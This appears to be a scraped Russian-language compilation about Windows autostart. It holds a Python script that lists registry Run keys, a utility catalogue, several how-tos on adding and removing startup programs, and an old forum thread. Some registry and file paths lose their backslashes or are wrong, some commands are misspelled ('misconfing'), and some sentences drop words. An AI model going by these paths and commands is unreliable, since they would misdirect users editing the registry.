python — Получение списка команд на автозапуск из реестра Windows
Действия:
- Расширил список ключей (примеры взял из источников ниже)
- Для удобства работы с кодом:
- Обернул в функцию
- Значения храню в классе
Источники:
Решение:
import os import winreg from dataclasses import dataclass from typing import Dict, List, Optional from winreg import QueryInfoKey, EnumValue, OpenKey, HKEYType def get_key(path: str) -> Optional[HKEYType]: # Example: # path = r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" # registry_key_name = "HKEY_LOCAL_MACHINE" # relative_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" registry_key_name, relative_path = path.split('\\', maxsplit=1) registry_key = getattr(winreg, registry_key_name) try: return OpenKey(registry_key, relative_path) except: return PATHS = [ r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce", r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce", r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices", r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce", r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup", r"HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load", r"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit", r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx", ] @dataclass class RegistryValue: name: str value: str type: int def get_run_paths(expand_vars=True) -> Dict[str, List[RegistryValue]]: path_by_values = dict() for path in PATHS: if path not in path_by_values: path_by_values[path] = [] key = get_key(path) if not key: continue _, number_of_values, _ = QueryInfoKey(key) for i in range(number_of_values): name, value, type_value = EnumValue(key, i) value = str(value) if expand_vars: value = os.
path.expandvars(value) path_by_values[path].append( RegistryValue(name, value, type_value) ) return path_by_values
Пример использования:
run_paths = get_run_paths()
for path, values in run_paths.items():
print(path)
for i, value in enumerate(values, 1):
print(f' {i}. {value.name}: {value.value}')
print()
Система — Реестр, Автозагрузка
RegCool 1.302Функциональный редактор системного реестра, позволяющий копировать, вырезать, вставлять, перемещать, удалять и переименовывать ключи и значения реестра, а также редактировать файл реестра, импортировать и экспортировать его, создавать резервные копии…
get_app575 | Бесплатная |
Registry Repair 5.0.1.126get_app54 036 | Бесплатная |
WinTools.net Classic 22.00WinTools.net Classic — Набор инструментов, предназначенный для повышения производительности операционной системы MS Windows и поддержания производительности на высоком уровне на протяжении всего эксплуатационного периода…
get_app5 934 | Условно-бесплатная |
WinTools.net Professional 22.00get_app56 608 | Условно-бесплатная |
Soft4Boost Disk Cleaner 11.9.1.203Disk Cleaner – приложение c с большим набором функций, позволяющее сохранить систему Windows чистой, что обеспечивает более стабильную и быструю работу работу компьютера…
get_app5 809 | Бесплатная |
PrivaZer 4.0.36PrivaZer — бесплатная программа, которая предназначена для очистки ПК от накопившегося системного мусора. Приложение позволяет удалить следы Интернет-активности, остатки удаленного ранее ПО, неиспользуемые ярлыки…
get_app46 682 | Бесплатная |
Autoruns 14.0.7Autoruns — программа для контроля автоматической загрузки различных приложений, сервисов и компонентов, стартующих при загрузке операционной системы…
get_app240 118 | Бесплатная |
Wise Registry Cleaner 10.5.1.696 FreeWise Registry Cleaner — инструмент для безопасной очистки системного реестра от некорректных и устаревших ключей и записей. Присутствует детальное описание найденных ошибок, что упрощает выбор пользователя — какие элементы удалять, а какие оставить…
get_app75 409 | Бесплатная |
WinUtilities Free 15.78WinUtilities Free — облегченный пакет утилит для настройки и оптимизации Windows. Содержит около 20 модулей по увеличению производительности и настройки операционной системы…
get_app33 107 | Бесплатная |
WinUtilities Pro 15.78WinUtilities Professional — набор утилит для настройки системы семейства Windows. Содержит более 20 инструментов для оптимизации и настройки производительности операционной системы…
get_app9 772 | Условно-бесплатная |
Autorun Organizer 5.13Autorun Organizer — бесплатный менеджер автозагрузки Windows. Позволяет усорить загрузку и работу системы…
get_app13 397 | Бесплатная |
jv16 PowerTools 7.2.0.1320jv16 PowerTools — это полный набор утилит для сохранения в рабочем состоянии вашего компьютера и сети…
get_app68 362 | Условно-бесплатная |
Registry Life 5.31Registry Life поможет исправить ошибки в реестре и оптимизировать его, повысив скорость работы системы и ее стабильность. Это простое в использовании, компактное и бесплатное решение для обслуживания реестра Вашей системы…
get_app32 703 | Бесплатная |
Reg Organizer 8.81Reg Organizer — мощная программа, позволяющая следить за состоянием системного реестра и конфигурационных файлов. С помощью приложения можно чистить реестр, искать необходимые ключи реестра. Присутствуют функции управления конфигурационными файлами…
get_app341 847 | Условно-бесплатная |
JCleaner 7.3.0Приложение для поиска и удаления «мусора» с ПК и списков истории. Присутствует автоматический поиск ошибок в системном реестре, имеются инструменты для ручного поиска и удаления данных, оптимизации файлов системного реестра, управления автозагрузкой…
get_app987 | Условно-бесплатная |
Как добавить программу в автозапуск с помощью реестра
Добавление программы в автозапуск можно сделать через реестр. Как добавить программу в автозапуск в Windows 10:
- Запустите редактор реестра, нажав на сочетание клавиш Win R и введя regedit
- Откройте ветку HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
- Для добавления новой программы в автозапуск нажмите “Правка” — “Создать” — “Строковый параметр”
- Введите имя нового значения (рекомендуем вводить имя латиницей), нажмите Enter, после чего нажмите правой кнопкой на этой строке и выберите пункт “Изменить”
- В поле “Значение” введите полный путь к программе
Теперь вы знаете, как добавить программу в автозапуск в Windows 10 и при следующем запуске ваша программа будет автоматически запущена.
Чтобы добавить программу в автозагрузку в Windows 10, сначала сделайте ярлык этой программы.
Затем, в другом окне перейдите в папку “Локальный диск С” — “ProgramData” — “Microsoft” — “Windows” — “Главное меню” — “Программы” — “Автозагрузка”. Теперь просто перетяните ярлык из окна с программой в окно автозагрузки, для добавления программы в автозагрузку.
Остались вопросы и вы не смогли добавить программу в автозагрузку? Задавайте в комментариях.
Автозагрузка программ в Windows 10 настраивается в планировщике задач. Чтобы добавить программу в автозапуск, нужно запустить планировщик задач.
Открывается он так:
- “Пуск”
- “Все программы”
- “Средства администрирования Windows”
- В открывшемся окошке нажмите “Действие”
- Выберите пункт “Создать простую задачу”
- В окне новой задачи введите имя задания, описание и нажмите “Далее”
В следующем окне выберите когда вам нужно запускать программу, чтобы настроить автозагрузку программ в Windows 10 при запуске.
В новом окне нужно выбрать действие, осуществляемое при запуске задания, оставляем первый пункт.
В следующем окне нажмите “Обзор” и выберите какие программы в автозагрузке вы хотите запускать при старте задания.
В следующем окне проверьте внесенные данные и нажмите “Готово”.
Теперь, открыв “Библиотеку планировщика”, вы можете увидеть своё задание.
Зачем нужна настройка автозапуска программ в Windows 10? Например, если при каждом включении компьютера вы в обязательном порядке запускаете несколько программ, не будет ли разумно сделать автозапуск программ, которые вам понадобятся? Как настроить автозапуск программ на Windows 10:
Чтобы убрать программу из автозагрузки, нужно знать где находится автозапуск программ в Windows 10. Где автозапуск программ:
- Нажмите комбинацию клавиш Ctrl Shift Esc
- Перейдите на вкладку “Автозагрузка”
Вам откроется список программ, которые находятся в автозапуске.
Теперь вы знаете где находится автозагрузка программ в Windows 10 и можете вносить изменения.
Большое количество программ в автозапуске может негативно сказываться на систему, а точнее “замедлять” работоспособность вашего компьютера. Как выключить автозапуск программ в Windows 10:
Вы можете выключить автозапуск любых программ в Windows 10 и добавить их обратно, когда понадобится.
Если вы не знаете, как убрать автозапуск программы при включении компьютера на Windows 10, то мы поможем. Чтобы убрать программы из автозапуска:
- Нажмите комбинацию клавиш Ctrl Shift Esc
- Перейдите на вкладку “Автозагрузка”
- Выберите конкретную программу и нажмите “Отключить”, чтобы убрать программ из автозагрузки в Windows 10
Отключить автозагрузку программ в Windows 10 можно с помощью полезной программы CCleaner. Как отключить автозапуск программ в Windows 10 при включении:
- Запустите программу
- В колонке слева выберите “Сервис”
- Откройте раздел “Автозагрузка”
- Выберите нужное приложение и нажмите “Выключить”
- Перезагрузите компьютер, чтобы отключить автозапуск программ в Windows и все изменения вступили в силу
Как удалить программу из автозагрузки:
- Откройте меню “Пуск”
- В строку поиска введите msconfig
- Запустите программу
- Перейдите на вкладку “Автозагрузка”
- Снимите галочки с программ, которые не нужны вам в автозагрузке
- Нажмите “Применить” и “ОК”
- В новом окне выберите “Перезагрузить”, чтобы удалить программу из автозагрузки (или “Выход без перезагрузки”, если не хотите на данный момент выполнять перезагрузку системы)
Обратите внимание, что только вам решать, какие лишние программы удалить из автозагрузки в Windows 7.
Как отключить автозапуск программ в Windows 7, 8 и 10
Если при включении компьютера ваша операционная система загружается очень долго, то дело в тех программах, которые открываются автоматически. Целая куча приложений запускается одновременно. От этого значительно тормозит компьютер. Поэтому нужно отключить автоматический запуск приложений. Мы рассмотрим самые популярные способы для различных систем.
Автозапуск программ в Windows 7. Утилита MSConfig.
Этот метод весьма простой. Зайдите в меню Пуск. Далее в поисковой строке введите msconfig. Открывайте первый (и единственный) результат.
Перейдите во вкладку Автозагрузка.
Здесь вы видите огромный список приложений. И все они запускаются при загрузке. Внимательно просмотрите весь список. Уберите галочки с тех утилит, которые при запуске вам не нужны. Затем сохраните внесенные изменения и обязательно перезагрузите компьютер. ОС должна загрузиться в разы быстрее.
Совет: если вы случайно отключили какую-то необходимую утилиту, не волнуйтесь! Просто вернитесь обратно и поставьте галочки в нужном месте.
Раздел «Автозагрузка».
Зайдите в меню Пуск, а далее «Все программы» и найдите «Автозагрузка».
Содержащиеся там программы загружаются при запуске. Если вы удалите ее из этой папки, то она не будет автоматически открываться. Просто выведите контекстное меню и нажмите пункт «Удалить».
Как отключить автозапуск через реестр?
Это самый сложный способ. Лучше ничего в реестре не делать, так как можно нарушить работу компьютера, если сделать что-то не то. Итак, откройте меню Пуск. Ниже, в поисковой строке, введите regedit.
Затем найдите две разделы Run. На скриншоте вы можете увидеть полные пути. Один из них отвечает за автоматический запуск для текущего пользователя, а другой – для всех пользователей.
Зайдите туда и просто удалите компоненты тех утилит, которые вам не нужны.
Программы для отключения автозапуска
Есть утилита Autoruns, она довольно мощная. В ней можно найти абсолютно все приложения, которые запускаются при загрузке.
Скачать ее можно с этого официального сайта: https://download.sysinternals.com/files/Autoruns.zip.
Затем распакуйте архив и запустите утилиту. Вот так она выглядит:
Переходим на вкладку Everything. Это значит, что там собраны программы, которые автоматически открываются на вашем компьютере. После, уберите галочки возле тех, которые вы желаете отключить при запуске.
Утилита CCleaner.
Эта утилита удобна тем, что она по мимо отключения автозапуска, еще может удалять всякий мусор из компьютера, делая его еще производительным.
Скачать ее можно с этого сайта: http://ccleaner.org.ua/download.
Выберите необходимую установку. Если вы не знаете какой из них выбрать, то выберите первый.
Установите и запустите его. Далее перейдите во вкладку Сервис, а после – Автозапуск.
Отключите ненужные утилиты, и они не будут вас больше беспокоить при следующем запуске.
Вот таким образом можно легко и просто отключить любую программу из автозапуска. Следующие способы будут рассмотрены для других версий Windows.
Как отключить автозапуск программ в Windows 8
Через системный раздел.
Зажмите клавиши такие клавиши, как Win + R.
Откроется вот такое окошко. Введите shell:startup, затем нажмите ОК.
Здесь хранятся приложения текущего пользователя.
А если вы хотите открыть для всех пользователей, то введите shell:common startup.
Теперь просто нажмите на любую из папок, которая вам не нужна при запуске, и удалите ее.
Через Диспетчер задач
В следующих версиях операционных систем автоматический запуск находится не в утилите MSConfig, а в Диспетчере задач. Вызовите мышкой контекстное меню на панели управления и выберите необходимый вам пункт.
Перейдите на вкладку Автозагрузка.
Выберите ненужное приложение и нажмите на кнопку «Отключить».
Через реестр
Зажмите такие клавиши, как Win + R. Благодаря этому откроется вот такое окошко. Введите название regedit, затем нажмите ОК.
Далее, вам следует найти такие разделы Run, которые находятся в двух папках. На скриншоте вы можете увидеть весь путь.
В них просто удаляете компоненты ненужных приложений.
Через планировщик
Зажмите такие клавиши, как Win + R. Благодаря этому откроется вот такое окошко. Введите название taskschd.msc, затем нажмите ОК.
Каждая утилита, включая вредоносную, прописывает время запуска. Просмотрите весь список и внесите необходимые изменения, если они нужны.
Как отключить автозапуск программ в Windows 10
Для данной операционной системе подходят те способы, которые перечислены для 8 версии. Даже расположение папок в реестре одинаковое.
Совет: воспользуйтесь любыми способами, кроме реестра. Там хранятся важные данные, которые очень просто повредить. Если вы в реестре разбираетесь плохо, лучше даже не заходить туда.
Таким образом, теперь никакие лишние приложения не будут мешать загрузке компьютера. Только не отключайте все утилиты подряд. Из них некоторые чрезвычайно важны для полноценной работы кампьютера.
Как отключить Автозапуск в Windows 10
В данной статье показаны действия, выполнив которые можно отключить Автозапуск в операционной системе Windows 10.
Автозапуск позволяет выбирать действия для различных типов носителей при подключении устройства, установке носителя.
Автозапуск можно настроить на открытие разных типов содержимого, включая фотографии, музыку и видео, на различных носителях, USB-флеш, компакт-диски или DVD-диски. Например, автозапуск можно использовать для выбора приложения, которое будет автоматически открывать фотографии на съемном носителе при его подключении к компьютеру.
Автозапуск избавляет от необходимости открывать одно и то же приложение или заново выбирать настройки при каждом подключении определенного устройства.
При подключении съемного носителя, пользователь получает уведомление в виде всплывающего окна (баннера) в правом нижнем углу рабочего стола которое также сопровождается звуковым сигналом.
Функцию автозапуска можно отключить полностью или только для одного типа носителей или содержимого.
Как отключить Автозапуск в приложении «Параметры Windows»
Откройте приложение «Параметры Windows», для этого нажмите на панели задач кнопку Пуск и далее выберите Параметры или нажмите на клавиатуре сочетание клавиш + I.
В открывшемся окне «Параметры Windows» выберите Устройства.
Далее выберите вкладку Автозапуск и в правой части окна установите переключатель Использовать автозапуск для всех носителей и устройств в положение Откл.
Как отключить Автозапуск используя классическую панель управления
Чтобы отключить Автозапуск, откройте классическую панель управления и выберите Автозапуск.
В окне «Автозапуск» снимите флажок рядом с пунктом Использовать автозапуск для всех носителей и устройств и нажмите кнопку Сохранить.
Стоит отметить, что этот и предыдущий способ отключает автозапуск только для текущей учетной записи.
Как отключить Автозапуск используя редактор локальной групповой политики
Этот способ доступен для пользователей Windows 10 редакций Pro и Enterprise.
Нажмите на клавиатуре сочетание клавиш + R, в открывшемся окне Выполнить введите gpedit и нажмите клавишу Enter ↵.
В окне редактора локальной групповой политики разверните следующие элементы списка:
Конфигурация компьютера ➯ Административные шаблоны ➯ Компоненты Windows ➯ Политики автозапуска
Далее, в правой части окна дважды щелкните левой кнопкой мыши по параметру политики с названием Выключение автозапуска.
В окне «Выключение автозапуска» установите переключатель в положение Отключено и нажмите OK.
Перезагрузите компьютер, после этого Автозапуск будет полностью отключен для всех пользователей и для всех подключаемых съемных устройств.
Также можно применить политики без перезагрузки компьютера, подробнее об этом можно почитать в этой статье ➱ Применение политик без перезагрузки компьютера
Как отключить Автозапуск в редакторе реестра
Этот способ подойдет пользователям Windows 10 Домашняя, в которой отсутствует редактор локальной групповой политики.
Нажмите на клавиатуре сочетание клавиш + R, в открывшемся окне Выполнить введите regedit и нажмите клавишу Enter ↵.
В открывшемся окне редактора реестра перейдите в следующий раздел реестра:
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
В разделе Explorer найдите параметр с именем NoDriveTypeAutoRun. Если он не существует, то создайте его. Для этого нажмите правой кнопкой мыши на разделе Explorer или на пустую область в правой части окна и в появившемся контекстном меню выберите Создать > Параметр DWORD (32-бита), присвойте ему имя NoDriveTypeAutoRun.
Затем дважды щелкните левой кнопкой мыши по созданному нами параметру, установите ему шестнадцатеричное значение 000000FF и нажмите кнопку OK.
После проделанных действий, перезагрузите компьютер.
Если вы хотите отключить автозапуск только для текущего пользователя, то нужно перейти в следующий раздел реестра и выполнить те же действия:
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
Если вам снова нужно включить автозапуск, отмените изменения которые вы произвели.
Используя рассмотренные выше действия, можно отключить Автозапуск в операционной системе Windows 10.
Ключи реестра на автозапуск программы
← →C@N © (2006-11-11 17:03) [0]
на компе есть куча пользователей, мне надо одному пользователю прописать прогу на автозагрузку, но чтоб у других ее небыло….
Какой ключ юзать
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
или
«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentUser\Run»
причем писаться буду под учеткой «С ограниченными правами» под пользователем, которому надо поставить на автозагруз )))
← →
RASkov (2006-11-11 17:27) [1]
> HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
← →
C@N © (2006-11-11 17:32) [2]
Это только у этого пользователя будет??? у других не будет???
← →
Desdechado © (2006-11-11 19:06) [3]
CURRENT_USER переводится как «текущий пользователь»
смысл, надеюсь, понятен?
← →
C@N © (2006-11-11 19:22) [4]
Тоесть эта ветка только для конкретно текущего пользователя?… и при логоне другого пользователя грузится другая, его, ветка? так?
← →
Desdechado © (2006-11-11 19:29) [5]
почитать справку или попробовать, если лень читать, не желаешь?
← →
koha © (2006-11-11 20:35) [6]
> C@N © (11.11.06 17:03)
А система то у тебя не ниже NT должна быть то, надеюсь.
← →
Anatoly Podgoretsky © (2006-11-11 20:46) [7]
> C@N (11.11.2006 19:22:04) [4]
Ну еще раз
CURRENT_USER переводится как «текущий пользователь»
← →
C@N © (2006-11-11 20:58) [8]
а усеченые права как??? ограниченая учетная запись… на той машине к примеру прогу для цифрофотика поставить не дает… вопит дай админские права…
← →
Dmitrij_K (2006-11-11 21:09) [9]
> C@N © (11.11.06 20:58) [8]
> а усеченые права как???
Это уже проблемы пользователя
← →
Германн © (2006-11-11 21:09) [10]
> C@N © (11.11.06 20:58) [8]
>
> а усеченые права как??? ограниченая учетная запись… на
> той машине к примеру прогу для цифрофотика поставить не
> дает… вопит дай админские права…
>
А нефига «ограниченному» заниматься установкой. На то есть админ.
← →
Anatoly Podgoretsky © (2006-11-11 22:37) [11]
> C@N (11.11.2006 20:58:08) [8]
Тот кто вопит, хочет стать не текущим пользователем
← →
C@N © (2006-11-12 13:11) [12]
все вроде понял…. спасибо)))
← →
Legolas (2006-11-12 19:00) [13]
А лучше, поставь ссылку на программу в пуск->программы->автозапуск
само сабой у того кому надо.
← →
C@N © (2006-11-14 22:52) [14]
так… а как создать ярлык в run-time???
Как добавить программу в автозагрузку 8. Автоматический запуск программы со стартом Windows любой версии. Добавление, используя системный реестр
Автозагрузка – это набор важных компонентов, приводящихся в действие с момента запуска компьютера. Обычно это антивирус, фоновые программы и те, которые пользователь сам хочет добавить в настройки «Автозагрузки».
Не стоит путать автозагрузку с автозапуском. С помощью последнего открываются флэш-накопители, мобильные телефоны и фотокамеры, подключенные к компьютеру.
Для многих вопрос о том, как добавить в автозагрузку Windows 7 необходимую пользователю программу, актуален. Мы поговорим об этом сегодня.
Добавляем программу в автозагрузку с помощью операционной системы Windows 7
Приведем некоторые способы:
- Для начала стоит обратиться к самому приложению: в его настройках и параметрах наверняка найдется команда «Запускать при старте Windows» или похожая. Это максимально правильный шаг, гарантирующий правильную работу приложения.
- Если вы не нашли в настройках приложения соответствующей команды, через «Пуск» откройте все программы и найдите папку «Автозагрузка». Открыв ее, перетащите с помощью нажатой кнопки мыши ярлычок нужного приложения или вставьте его в папку с помощью команды «Создать ярлык» (открывается при нажатии правой кнопки мыши). Автозагрузка будет действенной для всех пользователей ПК после перезагрузки компьютера.
Раскроем еще один способ. Он предполагает ряд действий:
- Вызываем диалоговое окошко службы «Выполнить» одновременным нажатием клавиш Win + R.
- В строке ввода набираем «misconfing» и кликаем по «OK».
- В открывшемся окне «Конфигурации системы» нажимаем вкладку «Автозагрузка» и видим список приложений.
- Убрав или восстановив галочку, мы подключаем или отключаем выбранное приложение.
- Если нужного приложения нет, снова обращаемся к службе «Выполнить», но на этот раз вводим в строку команду «regedit», которая даст доступ к реестру.
- Если мы желаем сделать доступной автозагрузку выбранных приложений только для пользователя, нам понадобится открыть ветку под названием HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, если для всех пользователей ПК, значит, откроем ветку HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
- С помощью правой кнопки мыши создаем «строковой параметр», далее открываем его «Свойства».
- В окошке «Свойства» задаем значение, вставив в строку полный путь до основного файла приложения (путь до файла можно скопировать, открыв службу «свойства» данного приложения).
- После нажатия приложение будет добавлено в автозагрузку.
У кого-то папка «Автозагрузка» будет называться «StartUp» и может быть скрыта. Чтобы сделать ее видимой, откройте проводник и нажмите на команду «Сервис» в верхней строке, а во всплывшем окошке жмите на «Параметры папок».
Инструкция
Прежде чем добавить в автозагрузку Windows , запустите ее и зайдите в настройки. Довольно часто разработчики многих программ, будь то специальные офисные утилиты или -плееры, предусматривают параметр «Запускать вместе в Windows», который нужно просто . Если вы его нашли и указали, то программа сама пропишется в меню системы и будет стартовать вместе с .
Однако если такого параметра нет, а программу нужно добавить в автозагрузку, воспользуйтесь следующим алгоритмом действий. Создайте ярлык исполняемого exe-файла программы и поместите его в любое место на жестком диске, или, к примеру, на рабочем столе для быстрого доступа.
Зайдите в меню «Пуск». В стандартных программах найдите подменю «Автозагрузка». Нажмите на него правой кнопкой мыши и в появившемся списке команд выберите «Открыть». Перед вами появится окно, представляющее собой меню автозагрузки в виде стандартной папки проводника Windows. Перетащите или скопируйте созданный ранее ярлык программы, которую нужно добавить в автозагрузку, с рабочего стола в эту папку.
Добавленный, таким образом, ярлык будет запускать программу одновременно со стартом операционной системы во время загрузки компьютера. Если же вам нужно добавить в автозагрузку программу для всех пользователей данного компьютера, то в папке “Documents and Settings” в корневом каталоге системного диска найдите соответствующие подпапки программ, отображаемых в меню «Пуск» для всех пользователей (All Users). И добавьте ярлык вашей программы в общую папку «Автозагрузка».
Видео по теме
Обратите внимание
Добавить приложение в автозагрузку по-прежнему можно несколькими способами. Не каждая программа может загрузиться через реестр, для какой-то непросто сделать ярлык, а для другой не подходит автозагрузка через планировщик. В Windows 7 и более ранних версиях ОС самым простым способом добавления в автозагрузку было перетаскивание ярлыка программы в папку Автозагрузка, которая отображалась в меню Пуск.
Полезный совет
А второй способ расскажет вам о том как удалить программу из автозагрузки, которая закинулась туда после установки. Способ 1. Как добавить программу в автозагрузку в Windows 7. Нажимаем «Пуск» — > «Все программы» — > «Автозагрузка» жмем правой кнопкой мыши, и в появившемся меню нажимаем «Открыть». После этого откроется папка, в которую вы можете добавить ярлык запуска программы, которую хотели бы видеть при загрузке системы.
Если вы часто устанавливаете и тестируете программы, и вам потребовалось прописать несколько программ в автозагрузку, необязательно устанавливать стороннее программное обеспечение. Можно, вполне, обойтись стандартными способами добавления исполняемых файлов в меню автозагрузки.
Вам понадобится
- Программное обеспечение Regedit.
Инструкция
Самым простым способом добавления элементов в меню является ручное добавление . Для того чтобы добавить ярлык программы в меню автозагрузки, необходимо нажать меню «Пуск» — выбрать пункт «Программы» — нажмите правой кнопкой на строчке «Автозагрузка» — «Открыть».
Введите название вашего ярлыка – нажмите кнопку «Готово». В этой папке вами был создан ярлык.
Для добавления элементов в автозагрузку есть способ посложнее. Он связан с редактированием реестра. Если хорошо разобраться, то этот способ покажется вам не менее легким, нежели предыдущий. Нажмите меню «Пуск» — выберите пункт «Выполнить» — введите команду regedit – нажмите «ОК».
В открывшемся окне программы, в левой части, вы увидите папки реестра. Пройдите по следующему пути: . В этой папке содержатся программы, которые запускаются только при входе текущего пользователя в операционную систему. К примеру, для того чтобы добавить в автозагрузку ярлык программы Notepad++, вы должны добавить ключ следующего содержания: «Notepad++.exe»=» C:Program FilesNotepad++
otepad++.exe».
Прописать программу в автозагрузку несложно. Более того, уже создана масса утилит, которые помогают упростить этот процесс. Параметры автозагрузки находятся в реестре, и заменить эти данные можно без проблем.
Вам понадобится
- Программа, которую нужно поместить в автозагрузку.
Инструкция
За для какого-то отдельного пользователя отвечают в , за какой-то программы для всех пользователей — . Чтобы внести какую-нибудь программу в реестр достаточно запустить regedit.exe (C:\WINDOWSSystem32
egedit.exe), найти соответствующий ключ, добавить в него запись типа «FIREFOX.EXE»=»C:Program filesMozillafirefox.exe» (для примера — «НАЗВАНИЕ ИСПОЛНЯЕМОЙ ПРОГРАММЫ.EXE»=»Путь до нее»).
В Windows существует специальная папка «Автозагрузка», где также находятся ярлыки запускаемых при старте программ. Достаточно туда поместить ярлык программы, которую бы хотелось видеть при загрузке Windows и после следующей перезагрузки она появится. Папка «Автозагрузка» находится в C:\Documents and SettingsAll Users (Имя пользователя)Главное менюПрограммыАвтозагрузка.
Существуют сторонние программы и твикеры системы, которые позволяют так же изменить список программ, находящихся в автозагрузке. Данных программ имеется великое множество, хотелось бы отметить одни из наиболее популярных — это CCleaner (чистит систему и имеет альтернативные опции настройки Windows), Total commander (файловый менеджер). Обе программы довольно удобные в использовании и имеют достаточный набор настроек для изменения данных реестра и автозагрузки.
Обратите внимание
Не стоит напрямую редактировать ключи реестра Windows, это может привести к краху системы. Редактируя ключи реестра, следует быть осторожным.
Источники:
- Как добавить программу в автозагрузку, метод для Windows 7
Скрипты могут добавляться в автозагрузку определенных программ. Это не всегда удобно, учитывая, что интерфейс операционной системы Windows предусматривает наличие специальной утилиты для выполнения той же функции.
Сегодня мы рассмотрим вопрос добавления в автозапуск Window 7 и 8 нужных нам программ. А попутно поймём, как удалять оттуда ненужные 🙂
Рассмотри 2 «натуральных» способа, т.е. те методы, которые используют встроенные средства ОС Windows, без сторонних программ.
Способ #1. Добавление программы в автозагрузку через папку
Это, пожалуй, наиболее удобный метод для тех, кто не знаком с реестром (Как я!) или просто не хочет копаться лишний раз (Как я. Вот лентяй 🙂). Всё, что нам нужно сделать — это пройти по следующему пути:
Конечно, диск C: мы выбираем только в том случае, если Windows у вас установлена именно на нём. Если же нет — выберите свой системный диск, остальное — по плану.
Что дальше? Теперь нам нужно просто поместить в эту папку ярлыки тех приложений, которые мы и хотим загружать со стартом системы. Можете, например, сначала просто создать все ярлыки, кликнув на нужных файлах правой кнопкой, затем Отправить — «На рабочий стол», а потом с рабочего стола просто перекинуть их в эту папку.
На будущее, кстати, можете создать на рабочем столе ярлык самой папки Автозагрузка, дабы каждый раз её не искать 🙂
Способ #2. Добавление программы в автозагрузку через реестр.
Честно говоря не знаю, кому он понадобится, но всё-таки.
Сначала вызовем окно самого реестра.
Самое простое — воспользоваться сочетанием клавиш Win+R на клавиатуре (Если кто не в курсе, то Win — это такая клавиша со значком Windows, обычно если она есть, то рядом с Alt по обе стороны от пробела). В результате нажатия этого сочетания выскочит вот такое окошко, в котором мы пишем regedit, после чего нажимаем OK (Или Enter на клавиатуре)
Если же по каким-то причинам использовать сочетание Win+R не получается, то идём другими путями:
В Windows 7 для этого нужно нажать «Пуск» => «Выполнить» или «Пуск» => затем в строке поиска вписать regedit, после чего будет найден файл regedit, который и нужно запустить.
В Windows 8 открываем плиточный интерфейс, затем вызываем правую панельку, выбираем значок лупы и пишем regedit.
Итак, мы попали в окно реестра. Что нам тут нужно? Необходимо открывать следующие папки (ветки) реестра:
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
В последней ветке перед нами предстанет список приложений, который сейчас у нас и прописаны в автозапуске. У меня они следующие:
Теперь в любом свободном месте нажимаем правой кнопкой мыши, после чего выбираем следующее:
Таким образом в ветке создастся новая строка. Называем её как хотим (Не используем кириллицу), после чего кликаем дважды левой кнопкой мыши по созданной нами строке.
Последнее, что необходимо сделать — прописать путь до нужного нам файла в поле.
Как его узнать? Просто кликните правой кнопкой мыши на ярлыке от программы, которую хотите добавить в автозагрузку, далее выберите «Свойства» и в поле Объект вы увидите тот самый путь, который и надо указать.
Копируем его вместе со скобками и просто вставляем в поле «Значение» в окне реестра. Жмём OK и готово!
Как и всегда я надеюсь, что данный материал был полезен и помог пролить свет на вопрос о том, как добавить программу в автозагрузку Windows 7 и Windows 8. До новых встреч!
Автозагрузка программ при запуске системы позволяет не отвлекаться пользователю на ручной запуск тех приложений, которые он постоянно применяет. Кроме того, данный механизм позволяет автоматически запускаться важным программам, работающим в фоне, об активации которых пользователь просто может забыть. В первую очередь – это софт, выполняющий мониторинг системы (антивирусы, оптимизаторы и т.д.). Давайте узнаем, как добавить приложение в автозапуск в Windows 7.
Существует целый ряд вариантов добавить объект в автозагрузку Виндовс 7. Одна часть из них осуществляется собственными инструментами ОС, а другая — при помощи инсталлируемого софта.
Способ 1: CCleaner
Прежде всего, взглянем, как добавить объект в автозагрузку Windows 7 при помощи специализированной утилиты для оптимизации функционирования ПК CCleaner .
Применение CCleaner для добавления элементов в автозапуск очень удобно, а все действия интуитивно понятны. Главный недостаток данного способа в том, что с помощью указанных действий можно включить автозагрузку только для тех программ, для которых данная возможность была предусмотрена разработчиком, но после была отключена. То есть, любое приложение с помощью CCleaner в автозапуск добавить не получится.
Способ 2: Auslogics BoostSpeed
Более мощным инструментом для оптимизации ОС является Auslogics BoostSpeed . С его помощью существует возможность добавить в автозапуск даже те объекты, в которых данная функция не была предусмотрена разработчиками.
